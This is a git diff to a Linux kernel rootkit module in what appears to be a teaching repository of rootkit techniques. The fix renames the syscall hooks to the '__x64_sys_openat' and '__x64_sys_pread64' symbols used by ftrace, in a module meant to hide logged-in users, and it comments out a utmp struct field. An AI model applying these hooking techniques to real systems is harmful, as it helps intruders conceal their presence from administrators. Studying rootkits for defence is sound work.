diff --git a/3_RootkitTechniques/3.9_hiding_logged_in_users/rootkit.c b/3_RootkitTechniques/3.9_hiding_logged_in_users/rootkit.c
index f2148f6..ffeccdb 100644
--- a/3_RootkitTechniques/3.9_hiding_logged_in_users/rootkit.c
+++ b/3_RootkitTechniques/3.9_hiding_logged_in_users/rootkit.c
@@ -295,8 +295,8 @@
 
 /* Declare the struct that ftrace needs to hook the syscall */
 static struct ftrace_hook hooks[] = {
-    HOOK("sys_openat", hook_openat, &orig_openat),
-    HOOK("sys_pread64", hook_pread64, &orig_pread64),
+    HOOK("__x64_sys_openat", hook_openat, &orig_openat),
+    HOOK("__x64_sys_pread64", hook_pread64, &orig_pread64),
 };
 
 /* Module initialization function */
diff --git a/3_RootkitTechniques/3.9_hiding_logged_in_users/utmp.h b/3_RootkitTechniques/3.9_hiding_logged_in_users/utmp.h
index 828c613..3e72382 100644
--- a/3_RootkitTechniques/3.9_hiding_logged_in_users/utmp.h
+++ b/3_RootkitTechniques/3.9_hiding_logged_in_users/utmp.h
@@ -39,7 +39,7 @@
     } ut_tv;
 #else
     long        ut_session;
-    struct      timeval ut_tv;
+//    struct      timeval ut_tv;
 #endif
 
     int32_t     ut_addr_v6[4];